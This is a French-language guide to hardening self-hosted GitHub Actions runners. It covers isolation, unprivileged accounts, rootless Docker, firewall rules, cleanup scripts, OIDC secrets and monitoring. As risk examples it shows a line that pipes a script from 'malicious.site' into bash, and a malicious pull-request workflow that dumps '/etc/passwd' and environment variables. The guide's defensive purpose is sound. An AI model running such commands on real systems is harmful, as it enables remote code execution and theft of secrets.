Les runners self-hosted offrent de la flexibilité mais introduisent des risques de sécurité que vous devez gérer vous-même. Ce guide présente les mesures de hardening essentielles, du compte système au nettoyage entre les jobs.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Identifier les risques propres aux runners self-hosted
- Isoler les exécutions par niveau de confiance et par conteneur
- Restreindre les permissions du compte, de Docker et du réseau
- Nettoyer l'environnement entre chaque job
- Protéger les secrets et surveiller les runners
Risques des runners self-hosted
Section intitulée « Risques des runners self-hosted »Exécution de code non fiable
Section intitulée « Exécution de code non fiable »Tout workflow peut exécuter du code arbitraire sur le runner :
- run: | # Ce code s'exécute avec les droits du runner curl http://malicious.site/script.sh | bashPersistence des données
Section intitulée « Persistence des données »Contrairement aux runners GitHub-hosted, l'environnement persiste entre les jobs :
- Fichiers laissés par un job précédent
- Variables d'environnement résiduelles
- Credentials en cache
Accès réseau
Section intitulée « Accès réseau »Le runner a accès au réseau où il se trouve :
- Bases de données internes
- APIs privées
- Autres services
Règle d'or : pas de runners publics
Section intitulée « Règle d'or : pas de runners publics »# Un attaquant peut soumettre cette PR sur un repo publicname: Malicious PRon: pull_request
jobs: attack: runs-on: self-hosted # S'exécute sur VOTRE infrastructure steps: - run: | # Vol de secrets, minage de crypto, etc. cat /etc/passwd envIsolation des runners
Section intitulée « Isolation des runners »L'isolation est la première ligne de défense : limiter ce qu'un job peut atteindre limite les dégâts d'un job compromis. Trois niveaux la renforcent.
1. Runners dédiés par niveau de confiance
Section intitulée « 1. Runners dédiés par niveau de confiance »# Runners pour le code de confiance (main, releases)runs-on: [self-hosted, trusted]
# Runners pour les PRs (moins de confiance)runs-on: [self-hosted, untrusted]2. Exécuter dans des conteneurs
Section intitulée « 2. Exécuter dans des conteneurs »jobs: build: runs-on: self-hosted container: image: node:20-alpine # Isolation par conteneur3. Machines virtuelles éphémères
Section intitulée « 3. Machines virtuelles éphémères »Détruisez la VM après chaque job :
runs-on: [self-hosted, ephemeral]# Le runner-scaler détruit la VM après exécutionLimiter les permissions
Section intitulée « Limiter les permissions »Un runner compromis ne doit pas pouvoir grand-chose. On restreint sur trois plans : le compte système, Docker et le réseau.
Sur la machine
Section intitulée « Sur la machine »# Créer un utilisateur dédié sans privilègessudo useradd -m -s /bin/bash github-runnersudo usermod -L github-runner # Pas de login
# Installer le runner avec cet utilisateursudo -u github-runner ./config.sh ...
# Pas de sudo pour le runner# Ne jamais ajouter github-runner aux sudoers !Docker sans root
Section intitulée « Docker sans root »# Utiliser rootless Docker si possible# Ou limiter avec --security-opt
docker run --security-opt=no-new-privileges \ --cap-drop=ALL \ --read-only \ ...Réseau restreint
Section intitulée « Réseau restreint »# Firewall : limiter les connexions sortantesiptables -A OUTPUT -o eth0 -p tcp --dport 443 -j ACCEPT # GitHubiptables -A OUTPUT -o eth0 -p tcp --dport 80 -j ACCEPT # HTTPiptables -A OUTPUT -o eth0 -j DROP # Bloquer le resteNettoyer entre les jobs
Section intitulée « Nettoyer entre les jobs »Sur un runner persistant, ce qu'un job laisse derrière lui reste disponible pour le suivant. Un nettoyage systématique évite les fuites entre jobs.
Script de nettoyage
Section intitulée « Script de nettoyage »#!/bin/bash# cleanup.sh - à exécuter après chaque job
# Supprimer les fichiers temporairesrm -rf /tmp/* /var/tmp/*
# Nettoyer le home du runnerrm -rf /home/github-runner/.npmrm -rf /home/github-runner/.cacherm -rf /home/github-runner/work/*
# Nettoyer Dockerdocker system prune -afdocker volume prune -f
# Supprimer les variables d'environnement personnaliséesunset $(env | grep -v '^PATH=' | cut -d= -f1)Configurer le cleanup automatique
Section intitulée « Configurer le cleanup automatique »# Dans le service systemd du runner[Service]ExecStartPre=/opt/actions-runner/cleanup.shExecStopPost=/opt/actions-runner/cleanup.shProtéger les secrets
Section intitulée « Protéger les secrets »Les secrets ne doivent jamais résider en dur sur le runner. Voici comment les faire transiter et les manipuler sans les exposer.
Variables d'environnement
Section intitulée « Variables d'environnement »# ❌ Ne pas mettre de secrets dans les scripts du runner# ~/.bashrc avec AWS_SECRET_ACCESS_KEY = mauvaise idée
# ✅ Utiliser les secrets GitHub- name: Deploy env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} run: aws s3 sync ./dist s3://bucketCredentials système
Section intitulée « Credentials système »# Utiliser des short-lived tokens via OIDC# Pas de credentials statiques sur le runner# Voir /docs/pipeline-cicd/github/securite/oidc/Fichiers sensibles
Section intitulée « Fichiers sensibles »# Monter les secrets en read-only tmpfsmkdir -p /run/secretsmount -t tmpfs -o size=10M,mode=0700 tmpfs /run/secretsSurveiller les runners
Section intitulée « Surveiller les runners »Le durcissement ne suffit pas : il faut détecter une compromission. Logs d'audit et monitoring système rendent visibles les comportements anormaux.
Logs d'audit
Section intitulée « Logs d'audit »# Activer les logs détaillésenv: ACTIONS_RUNNER_DEBUG: trueMonitoring système
Section intitulée « Monitoring système »# Surveiller les processus suspectsauditctl -a always,exit -F arch=b64 -S execve -k commands
# Alerter sur les connexions sortantes inhabituelles# (avec un outil comme Falco, osquery, etc.)Alertes GitHub
Section intitulée « Alertes GitHub »Configurez des webhooks pour être alerté des runs sur les runners self-hosted.
Checklist de sécurité
Section intitulée « Checklist de sécurité »Configuration initiale
Section intitulée « Configuration initiale »- Runner sur repository privé uniquement
- Utilisateur dédié sans privilèges sudo
- Firewall configuré (whitelist)
- Docker rootless ou avec restrictions
- Logs d'audit activés
Opérations régulières
Section intitulée « Opérations régulières »- Mises à jour du runner et de l'OS
- Rotation des tokens d'enregistrement
- Revue des workflows exécutés
- Vérification des logs d'audit
Architecture
Section intitulée « Architecture »- Runners séparés par niveau de confiance
- Runners éphémères pour les PRs
- Pas de secrets statiques sur les runners
- OIDC pour l'authentification cloud
Pattern sécurisé complet
Section intitulée « Pattern sécurisé complet »Ce workflow rassemble les mesures du guide : runner de confiance, exécution en conteneur durci, OIDC au lieu de secrets statiques et nettoyage explicite.
name: Secure Build
on: push: branches: [main]
# Aucun droit par défaut : le job demande le minimumpermissions: {}
jobs: build: runs-on: [self-hosted, linux, trusted] permissions: contents: read id-token: write # Pour OIDC container: image: node:20-alpine options: --read-only --security-opt=no-new-privileges steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: persist-credentials: false
# OIDC au lieu de secrets statiques - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2 with: role-to-assume: arn:aws:iam::123456789:role/github-actions aws-region: eu-west-1
- run: npm ci - run: npm test - run: npm run build
# Cleanup explicite - name: Cleanup if: always() run: rm -rf node_modules .npmÀ retenir
Section intitulée « À retenir »- Un runner self-hosted ne va jamais sur un dépôt public : une PR de fork exécuterait du code arbitraire chez vous.
- Isolez les exécutions : runners dédiés par niveau de confiance, conteneurs, VM éphémères.
- Le compte du runner est sans sudo ; Docker tourne en rootless ou avec des capabilities réduites.
- Nettoyez systématiquement entre les jobs — l'environnement persiste, contrairement aux runners hosted.
- Pas de secrets statiques sur la machine : privilégiez OIDC et les jetons à durée de vie courte.